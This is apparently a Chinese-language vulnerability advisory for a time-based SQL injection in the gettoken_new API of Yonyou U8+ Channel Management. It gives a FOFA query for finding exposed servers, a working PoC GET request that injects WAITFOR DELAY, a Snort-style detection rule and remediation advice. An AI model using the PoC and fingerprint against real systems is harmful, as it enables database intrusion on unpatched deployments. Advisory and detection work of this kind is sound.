

用友U8+渠道管理(高级版) gettoken_new 存在SQL注入漏洞

用友U8+渠道管理(高级版) gettoken_new 存在SQL注入漏洞，攻击者可进行sql注入攻击获取数据库信息或者权限。

影响版本

用友U8+渠道管理

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA: "common/images/dot.gif" && (icon_hash="737647198" || icon_hash="84729000")

POC/EXP:

```
GET /api/gettoken_new?appid=%27%3BWAITFOR+DELAY+%270%3A0%3A3%27--&appkey=1&appsecret=1&userid=1 HTTP/1.1
Host: 127.0.0.1
```



sonrt规则:

```
alert http any any -> $HOME_NET any (
  msg:"Yonyou U8+ - MSSQL Time-Based SQLi in gettoken_new";
  flow:to_server,established;
  http.method; content:"GET";
```

```
http.uri; pcre:"\\/api\\/gettoken_new\\?appid=
[^&]*'%3BWAITFOR\\+DELAY\\+'0%3A0%3A3'/i";
metadata:
  cve none,
  service http,
  affected_product "用友U8+渠道管理(高级版)",
  vulnerability_type "MSSQL Time-Based SQL Injection",
  attack_target "database_server",
  severity "high";
reference:url,www.example.com/sql-i-protection;
classtype:sql-injection;
sid:1000454;
rev:1;
priority:1;
)
```

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本。